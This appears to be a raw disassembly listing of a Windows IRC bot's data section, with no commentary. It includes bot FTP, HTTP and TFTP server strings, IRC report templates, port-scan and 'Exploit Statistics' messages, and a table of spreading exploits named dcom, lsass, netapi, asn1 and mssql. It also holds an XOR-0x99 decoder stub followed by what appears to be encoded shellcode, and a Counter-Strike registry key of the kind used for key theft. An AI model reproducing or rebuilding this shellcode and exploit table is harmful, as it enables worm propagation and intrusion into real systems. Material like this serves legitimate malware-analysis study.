aA:					; DATA XREF: sub_4053D5+33Do
		unicode	0, <A>,0
aType		db 'TYPE',0             ; DATA XREF: sub_4053D5+326o
					; sub_4053D5+361o
		align 10h
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_4053D5+316o
		align 10h
off_42A2D0	dd offset dword_445750	; DATA XREF: sub_4053D5+302o
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: sub_4053D5+2F2o
		align 4
aRest		db 'REST',0             ; DATA XREF: sub_4053D5+2DEo
		align 10h
a215Nzmxftpd	db '215 NzmxFtpd',0Ah,0 ; DATA XREF: sub_4053D5+2CEo
		align 10h
aSyst		db 'SYST',0             ; DATA XREF: sub_4053D5+2BAo
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: sub_4053D5+2AAo
		align 10h
aPass		db 'PASS',0             ; DATA XREF: sub_4053D5+296o
		align 4
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: sub_4053D5+286o
		align 10h
aUser_1		db 'USER',0             ; DATA XREF: sub_4053D5+271o
					; ___:0042F834o
		align 4
aSS_1		db '%s %s',0            ; DATA XREF: sub_4053D5+260o
		align 10h
a220Nzmxftpd0wn	db '220 NzmxFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_4053D5+1D8o
		align 4
aRb		db 'rb',0               ; DATA XREF: sub_405A58+24o
					; sub_406C19+12Eo ...
		align 4
unk_42A36C	db    2			; DATA XREF: sub_405AF2+3F8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorServerFai	db 'Error: server failed, returned: <%d>.',0
		align 10h
asc_42A3B0	db 0Dh,0Ah,0		; DATA XREF: sub_405AF2+2CFo
		align 4
asc_42A3B4:				; DATA XREF: sub_405AF2+293o
					; sub_40EE72+A8o ...
		unicode	0, < >,0
aGet		db 'GET ',0             ; DATA XREF: sub_405AF2+269o
		align 10h
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F4D+F7o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F4D+D4o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_405F4D+98o
					; sub_40B8D8+1AEo
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_405F4D+84o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_405F4D:loc_405FB3o
		align 4
aTextHtml	db 'text/html',0        ; DATA XREF: sub_405F4D+5Fo
		align 4
unk_42A5D4	db    2			; DATA XREF: sub_4060D0+296o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_42A61C	db    2			; DATA XREF: sub_4060D0+212o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aWorkerThreadOf	db 'Worker thread of server thread: %d.',0
asc_42A65C:				; DATA XREF: sub_4060D0+15Ao
		unicode	0, <*>,0
asc_42A660:				; DATA XREF: sub_4060D0+FBo
					; sub_406387+29o ...
		dw 0Ah
		unicode	0, <>,0
aSS_2		db '%s%s',0             ; DATA XREF: sub_4060D0+EAo
					; sub_406387+4DAo ...
		align 4
aS_1		db '%s',0               ; DATA XREF: sub_4060D0+3Ao
					; sub_40B390+4Co ...
		align 10h
aS_2		db '\%s',0              ; DATA XREF: sub_4060D0+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_406387+652o
		align 4
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406387+637o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_406387+61Co
		align 4
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_406387+58Do
		align 10h
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_406387+571o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_406387:loc_4068AFo
		align 10h
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_406387+521o
		align 10h
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_406387+46Eo
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_406387+42Fo
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_406387+3F9o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_406387:loc_406741o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_406387+3B3o
		align 4
aSS		db '%s%s/',0            ; DATA XREF: sub_406387+36Co
		align 10h
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406387+328o
					; sub_406387+496o
		db '<TD WIDTH="%d"><A HREF="',0
		align 10h
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_406387+310o
		align 4
aS_0		db '<%s>',0             ; DATA XREF: sub_406387+2E9o
					; sub_406387+40Bo
		align 4
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_406387+2BFo
aAm		db 'AM',0               ; DATA XREF: sub_406387+295o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_406387+28Ao
		align 4
a__		db '..',0               ; DATA XREF: sub_406387+237o
		align 10h
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406387+1C5o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_406387+149o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406387+12Do
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406387+F9o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_406387+AEo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_406387+79o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_406387+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_406AF8+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_42AB14	dd 4000500h, 7868746Bh,	0 ; DATA XREF: sub_406C19+493o
dword_42AB20	dd 7A026E02h, 201F6D1Fh, 74667428h, 1F702E70h, 29671F6Ch
					; DATA XREF: sub_406C19+47Fo
		dd 0BBBB0220h, 74202002h, 736E6172h, 20726566h,	20206F74h
		dd 20207325h, 75731F02h, 73656363h, 6C756673h, 6320796Ch
		dd 6C706D6Fh, 64657465h, 202C021Fh, 6F666E69h, 2528203Ah
		dd 2E2973h
unk_42AB74	db    2			; DATA XREF: sub_406C19+3B6o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileNotFoundSS	db '  File not found: %s (%s).',0
dword_42ABA8	dd 1000500h, 656C6946h,	746F4E20h, 756F4620h, 646Eh
					; DATA XREF: sub_406C19+399o
dword_42ABBC	dd 7A026E02h, 201F6D1Fh, 74667428h, 1F702E70h, 29671F6Ch
					; DATA XREF: sub_406C19+33Eo
		dd 0BBBB0220h, 74202002h, 736E6172h, 20726566h,	20206F74h
		dd 20207325h, 65621F02h, 6E6E6967h, 1F676E69h, 69202C02h
		dd 3A6F666Eh, 73252820h, 2E29h
unk_42AC04	db    2			; DATA XREF: sub_406C19+15Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToOpenFi	db '  Failed to open file: %s.',0
unk_42AC38	db    2			; DATA XREF: sub_406C19+6Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSocketF_2	db '  Error: socket() failed, returned: <%d>.',0
		align 4
aOctet		db 'octet',0            ; DATA XREF: sub_406C19+Fo
		align 8
aDcom135_0	db 'dcom135',0          ; DATA XREF: sub_407767+169o
		db 2 dup(0)
aDcom135	db 'Dcom135',0          ; DATA XREF: ___:00405361o
		align 4
		dd 5 dup(0)
dword_42ACB0	dd 87h			; DATA XREF: sub_407110+1Er
					; sub_40EE72+30B3r ...
off_42ACB4	dd offset sub_402DD7	; DATA XREF: sub_407767+1EAr
dword_42ACB8	dd 0			; DATA XREF: sub_402DD7+2E1w
					; sub_402DD7+2E7r ...
dword_42ACBC	dd 1			; DATA XREF: sub_407252+1Fr
dword_42ACC0	dd 0			; DATA XREF: sub_407252:loc_4074C3r
aDcom445	db 'dcom445',0
		dd 63440000h, 34346D6Fh, 35h, 5	dup(0)
		dd 1BDh, 402DD7h, 0
		dd 1, 0
aDcom1025	db 'dcom1025',0
		align 2
aDcom1025_0	db 'Dcom1025',0
		align 4
		dd 5 dup(0)
		dd 401h, 402DD7h, 0
		dd 1, 0
aLsass_445	db 'lsass_445',0
aLsass_445_0	db 'lsass_445',0
		dd 5 dup(0)
		dd 1BDh, 403688h, 0
		dd 2 dup(1), 7361736Ch,	33315F73h, 736C0035h, 5F737361h
		dd 353331h, 5 dup(0)
		dd 87h,	403688h, 0
		dd 2 dup(1), 7361736Ch,	33315F73h, 736C0039h, 5F737361h
		dd 393331h, 5 dup(0)
		dd 8Bh,	403688h, 0
		dd 2 dup(1), 346E7361h,	3534h, 73610000h, 6D73316Eh, 62h
		dd 5 dup(0)
		dd 1BDh, 40428Fh, 0
		dd 2 dup(1), 316E7361h,	3933h, 73610000h, 6D73316Eh, 746E62h
		dd 5 dup(0)
		dd 8Bh,	40428Fh, 0
		dd 2 dup(1), 6970616Eh,	353434h, 656E0000h, 69706174h
		dd 353434h, 5 dup(0)
		dd 1BDh, 404F42h, 2 dup(0)
		dd 1, 6970616Eh, 393331h, 656E0000h, 69706174h,	393331h
		dd 5 dup(0)
		dd 8Bh,	404F42h, 2 dup(0)
		dd 1, 6D7973h, 0
		dd 79730000h, 746E616Dh, 6365h,	5 dup(0)
		dd 0B97h, 405088h, 0
		dd 1, 0
		dd 636874h, 0
		dd 68540000h, 6C717363h, 6 dup(0)
		dd 599h, 40527Eh, 0	; CODE XREF: sub_42AF96:loc_42AFABj
		dd 1, 10h dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_42AFA6

; =============== S U B	R O U T	I N E =======================================



sub_42AF96	proc near		; CODE XREF: sub_42AF96:loc_42AFA6p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_42AF9E:				; CODE XREF: sub_42AF96+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_42AF9E
		jmp	short loc_42AFAB
; ---------------------------------------------------------------------------


loc_42AFA6:				; CODE XREF: ___:0042AF94j
		call	sub_42AF96


loc_42AFAB:				; CODE XREF: sub_42AF96+Ej
		jo	short near ptr dword_42AF44+2
		cwde
		cdq
		cdq
		retn
sub_42AF96	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_407110+82o
		align 4
aSD		db ' %s: %d,',0         ; DATA XREF: sub_407110+42o
		align 4
unk_42B134	db    2			; DATA XREF: sub_407110+11o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aExploitStatist	db '  Exploit Statistics:',0
		align 4
unk_42B168	db    2			; DATA XREF: sub_4071DB+42o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aScanNotActive_	db '  Scan not active.',0
unk_42B198	db    2			; DATA XREF: sub_4071DB+2Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCurrentIpS_	db '  Current IP: %s.',0
		align 4
unk_42B1C8	db    2			; DATA XREF: sub_407252+36Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToStartS	db 'Failed to start server, error: <%d>.',0
		align 4
unk_42B20C	db    2			; DATA XREF: sub_407252+307o
					; sub_40EE72+54B7o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aServerListenin	db 'Server listening on IP: %s:%d, Directory: %s\.',0
		align 4
dword_42B258	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_407252+267o
		dd 2BBBB02h
aFailedToStar_0	db '  Failed to start server, error: <%d>.',0
		align 4
dword_42B298	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_407252+1FAo
		dd 2BBBB02h
aServerStartedO	db '  Server started on Port: %d, File: %s, Request: %s.',0
		align 4
unk_42B2E8	db    2			; DATA XREF: sub_407252+149o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_1	db '  Failed to start server, error: <%d>.',0
unk_42B328	db    2			; DATA XREF: sub_407252+DBo
					; sub_40EE72+5341o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aServerStarte_0	db '  Server started on Port: %d, File: %s, Request: %s.',0
		align 4
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40762E+38o
					; sub_40AEE0+46o
unk_42B384	db    2			; DATA XREF: sub_407767+EEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSPortDIsOpen	db '  IP: %s, Port %d is open.',0
unk_42B3BC	db    2			; DATA XREF: sub_407767+93o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSDScanThread	db '  IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 4
unk_42B408	db    2			; DATA XREF: sub_40797F+1CEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFinishedAtSDAf	db '  Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_42B45C	db    2			; DATA XREF: sub_40797F+173o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_2	db '  Failed to start worker thread, error: <%d>.',0
		align 4
unk_42B4A8	db    2			; DATA XREF: sub_40797F+103o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSDScanThreadDS	db '  %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 10h
unk_42B4F0	db    2			; DATA XREF: sub_40797F+87o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToInitia	db '  Failed to initialize critical section.',0
		align 4
unk_42B538	db    2			; DATA XREF: sub_407BDE+156o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartC	db '   Failed to start client thread, error: <%d>.',0
unk_42B584	db    2			; DATA XREF: sub_407BDE+E1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientConnecti	db '   Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_42B5DC	db    2			; DATA XREF: ___:00407F10o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_3	db '   Failed to start connection thread, error: <%d>.',0
unk_42B62C	db    2			; DATA XREF: ___:00407E47o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientConnec_0	db '   Client connection to IP: %s:%d, Server thread: %d.',0
		align 10h
unk_42B680	db    2			; DATA XREF: sub_407FEA+1B2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToStar_4	db 'Failed to start server on Port %d.',0
		align 10h
unk_42B6C0	db    2			; DATA XREF: sub_407FEA+18Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToStar_5	db 'Failed to start client thread, error: <%d>.',0
unk_42B708	db    2			; DATA XREF: sub_407FEA+114o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aClientConnec_1	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_42B75C	db    2			; DATA XREF: sub_407FEA+A8o
					; sub_40EE72+5E20o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aServerStarte_1	db 'Server started on: %s:%d.',0
		align 4
unk_42B794	db    2			; DATA XREF: sub_407FEA+3FEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorFailedToC	db 'Error: Failed to connect to target, returned: <%d>.',0
unk_42B7E4	db    2			; DATA XREF: sub_407FEA+38Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorFailedToO	db 'Error: Failed to open socket(), returned: <%d>.',0
unk_42B830	db    2			; DATA XREF: sub_407FEA+2F7o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aAuthentication	db 'Authentication failed. Remote userid: %s != %s.',0
aDisplay	db 'DISPLAY',0          ; DATA XREF: sub_4085B3+11o
aWindow		db 'Window',0           ; DATA XREF: sub_4087EE+23o
					; sub_4089E7+26o
		align 10h
		dd 80000001h
off_42B894	dd offset aSoftwareValveC ; DATA XREF: sub_408C26+Cr
					; sub_408C26+21o
					; "Software\\Valve\\CounterStrike\\Settings"
; ---------------------------------------------------------------------------
		push	500042CAh
		retf	42h
